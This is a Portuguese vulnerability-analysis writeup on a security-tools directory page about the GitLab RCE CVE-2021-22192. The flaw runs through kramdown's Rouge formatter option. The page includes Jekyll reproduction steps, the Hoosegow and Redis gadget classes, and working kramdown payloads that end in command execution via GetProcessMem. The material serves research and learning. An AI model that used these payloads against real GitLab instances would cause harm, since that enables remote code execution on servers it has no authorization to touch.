Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
Ferramentas/GitHubGitHub/petrusviet/gitlab-rce
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

Ver Repositório
123há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Análise da vulnerabilidade de RCE no GitLab (CVE-2021–22192)

I) Building

  • Essa falha ocorre no GitLab Community Edition (CE) e Enterprise Edition (EE) nas versões (>=13.2, <13.7.9), (>=13.8, <13.8.6) e (>=13.9, <13.9.4)
  • vocês podem seguir as instruções de lyy289065406 para montar o ambiente.

II) Análise

Ao começar a analisar essa falha, eu tinha apenas algumas informações valiosas de lyy289065406 que me ajudaram a entender o problema central desse bug. Percebemos que parece ser uma falha na gem kramdown (<= 2.3.0), então comecei a estudar kramdown primeiro.

1. Kramdown

Podemos verificar o patch do kramdown, e vemos a diferença na função formatter_class no módulo Kramdown::Converter::SyntaxHighlighter::Rouge

::Rouge::Formatters.const_get(formatter) foi alterado para ::Rouge::Formatters.const_get(formatter, false)

A função const_get é herdada da classe Object e pode obter as constantes. Ela pode até retornar classes já declaradas anteriormente que encontrar. A diferença aqui é apenas adicionar um parâmetro false. A adição do parâmetro false faz com que o const_get não consiga obter constantes da classe pai ou de módulos. O que é ainda mais especial: na função self.call há uma chamada para a função formatter_class e em seguida para new(opts). Isso significa que o método obtido via const_get terá seu Construtor chamado para inicialização.

root@kitploit:~
def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

Uau, uau. Então, como podemos explorar isso???

Com base em Kramdown:Options podemos chamar a função Kramdown::Converter::SyntaxHighlighter::Rouge.call

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

Além disso, vemos no módulo Kramdown:Options que a função simple_hash_validator chama YAML.safe_load(val). Assim, também podemos configurar um arquivo YML para entregar o payload desejado ao Kramdown::Converter::SyntaxHighlighter::Rouge

root@kitploit:~
def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown é usado por Jekyll, GitLab Pages, GitHub Pages e Thredd Forum. Por isso, decidi testá-lo com jekyll primeiro.

2. jekyll

Primeiro, preciso montar o jekyll:

  • Instalar o jekyll
root@kitploit:~
gem install jekyll
  • Criar as páginas jekyll com o nome jekyllTest
root@kitploit:~
jekyll new jekyllTest
  • Editar o arquivo Gemfile.lock para colocar a versão do kramdown <= 2.3.0
root@kitploit:~
cd jekyllTest

Arquivo Gemfile.lock

root@kitploit:~

...
kramdown (2.3.0)
...

  • instalar a página
root@kitploit:~
 bundle install

Pronto, criamos uma página jekyll. Agora podemos colocar o payload para ver se Kramdown::Converter::SyntaxHighlighter::Rouge.call realmente consegue chamar um método.

podemos adicionar ao arquivo ./_config.yml

root@kitploit:~
kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

Ou usar o documento kramdown adicionando o payload em ./_posts/*.markdown

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

Aqui eu usei o segundo método =)))))

  • Vamos fazer o deploy da página jekyll
root@kitploit:~
bundle exec jekyll serve

talvez você encontre o erro "require': cannot load such file -- webrick (LoadError)"; você precisa adicionar gem "webrick" ao Gemfile

  • Vemos a mensagem de erro private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: Isso prova que a classe CSV foi chamada.

O próximo passo é determinar qual método escolher para que, ao chamar o construtor, possamos causar RCE?

Segundo um artigo de análise CVE-2020-10518 que usa o bug no kramdown para causar RCE no Github. Mirei na classe Hoosegow:

  • Vemos que na função initialize da Hoosegow há uma chamada a load_inmate_methods
root@kitploit:~
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • Em load_inmate_methods vemos que ela chama require inmate_file
root@kitploit:~
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • E inmate_file é criado concatenando a string @inmate_dir com 'inmate.rb'. Se pudéssemos chamar essa classe e mudar o parâmetro inmate_dir para o caminho do nosso arquivo payload, não estaríamos causando RCE aqui?

  • Executei um script no caminho da página jekyll para verificar os métodos já definidos:

root@kitploit:~
require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • Infelizmente, não havia nenhuma classe chamada Hoosegow, mesmo quando evitei que o script quebrasse no meio definindo a condição como ob.name == "Hoosegow"
root@kitploit:~
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • Acontece que no meu class path a classe Hoosegow ainda não estava declarada; adicionei gem "hoosegow" ao Gemfile e o script encontrou a classe. [Hehehe]
  • Em seguida, tentei chamar Hoosegow usando kramdown para ver
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • Bumm. Nada aconteceu, a classe Hoosegow não foi chamada. =)))))))))
  • Fiquei travado aqui.. 1 semana. É, perdi uma semana por causa disso. Fiquei girando em torno da pergunta: "Por que, se a classe Hoosegow já existe no bundler, ao chamá-la lá de dentro do Kramdown ela não funciona? Não deveria funcionar???"

  • Pensei: "Se já foi declarada no Gemfile, então a classe já está no class path. Então, se o programa ainda não encontra 'Hoosegow', com certeza ela ainda não foi carregada..." Então, que outra maneira existe de declarar a gem para que, ao iniciar o jekyll, ela carregue a gem antes de processar as outras partes do diretório de origem?

  • Li a documentação do jekyll e encontrei jekyll_plugins. Declarar no Gemfile assim não era suficiente; era preciso declarar a gem no group jekyll_plugins para funcionar :( porque quando a gem é declarada em jekyll_plugins, ela é carregada antes de o jekyll processar outras fontes, mesmo rodando o jekyll em safe mode.

root@kitploit:~
group :jekyll_plugins do
  gem "jekyll-feed", "~> 0.12"
  gem "hoosegow"
end
  • Criei um arquivo inmate.rb em C:/ e executei o payload:
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}

~~~ ruby
def what?
  42
end
~~~
  • O arquivo inmate.rb foi chamado. Então parece que quase conseguimos reproduzir o PoC, não é?

3. Gitlab

  • No GitLab existe o recurso GitLab Pages, onde posso fazer deploy de uma página jekyll. Então tentei enviar o payload na forma de um projeto de página jekyll (como na parte acima) para fazer deploy no GitLab.
  • A pergunta é: como colocar o arquivo inmate.rb no servidor do GitLab e saber onde o arquivo inmate.rb que acabei de enviar está localizado??
  • Isso é bem simples se tivermos permissão para criar projetos e fazer deploy deles no GitLab. Podemos enviar o arquivo inmate.rb para o nosso próprio projeto e depois editar o arquivo .gitlab-ci.yml
root@kitploit:~
before_script:
  - pwd
  - gem install bundler
  - bundle install

  • Isso nos permite saber onde o nosso projeto é armazenado. Assim, podemos criar o nosso payload :)

Por que, já que podemos editar o arquivo .gitlab-ci.yml e temos capacidade de injetar comandos, iríamos nos dar ao trabalho de escrever um PoC? Não estaríamos seguindo um caminho de auto-RCE?

  • Essa pergunta surgiu imediatamente quando editei o arquivo .gitlab-ci.yml. Tentei explicar de várias maneiras: "Talvez haja um mecanismo que escaneia o arquivo .yml antes de ele ser carregado?",... mas nenhuma delas me satisfez...
  • Pesquisei como o GitLab faz deploy do GitLab Pages. Percebi que, sempre que uma nova página é publicada, ou quando um arquivo no projeto de pages é editado, o servidor GitLab Runner renderiza o projeto em páginas web estáticas e as envia para o servidor web do GitLab. Isso significa que esse vetor de exploração, no máximo, só conseguiria comprometer o Runner Server. Comprometer o Runner Server não é tão grave, pois se limita a um auto-RCE. Algo parecia não estar certo.
  • Procurei outro vetor de entrada: a wiki page. A wiki page permite usar o formato kramdown, então suspeitei e testei ali, mas não tive resultado, pois coloquei o payload apenas no arquivo padrão '*.md', e o arquivo '*.md' tem limitações nos recursos necessários; então abandonei esse caminho :(

  • Nesse ponto, tive que parar e esperar o PoC ser divulgado para dedicar tempo a outras pesquisas.

PoC divulgado

Num belo dia, o PoC foi divulgado. Ao ler, senti uma vontade enorme de comemorar, sem palavras =).

O problema central estava no kramdown, então estávamos no caminho certo, mas o caminho até ele no GitLab era meio complicado =)

  • O autor descobriu que, ao enviar uma wiki page com arquivo '*.rmd', o programa chama render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render. Assim, o arquivo '*.rmd' é renderizado com kramdown.

  • O autor enviou seu arquivo '.rmd' clonando a wiki page para o local e depois usando git para fazer push da wiki page (com o arquivo '.rmd') para o GitLab.

  • O autor usou a classe Redis (já declarada no projeto GitLab, então podemos chamar e usar essa classe) para executar o payload.

Ao inicializar a classe Redis, se existir a opção driver, o programa chama a função _parse_driver. Nela, o programa faz require "connection/#{driver}"; podemos manipular a variável driver para fazer o programa chamar o arquivo payload que enviamos para o servidor.

root@kitploit:~
def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end
  • Com o recurso de criar snippet, o atacante pode enviar um payload ruby usando Attach a file.
  • Nesse exploit, o atacante precisa descobrir a localização do arquivo payload enviado. Isso levou o autor a encontrar outro vetor de exploit:

Usando o caminho do Kramdown para chamar a classe Redis, primeiro o autor importa a gem get_process_mem com o payload

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}

~~~ruby
    def what?
      42
    end
~~~

Depois, usa a gem get_process_mem importada anteriormente para executar o RCE

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}

~~ ruby
    def what?
      42
    end
~~

Assim, sem precisar descobrir o endereço do arquivo payload, o atacante ainda consegue executar RCE no servidor GitLab.

Ref:

  • https://github.com/lyy289065406/CVE-2021-22192
  • https://blog.csdn.net/smellycat000/article/details/109302520
  • https://hackerone.com/reports/1125425
Baixar ferramenta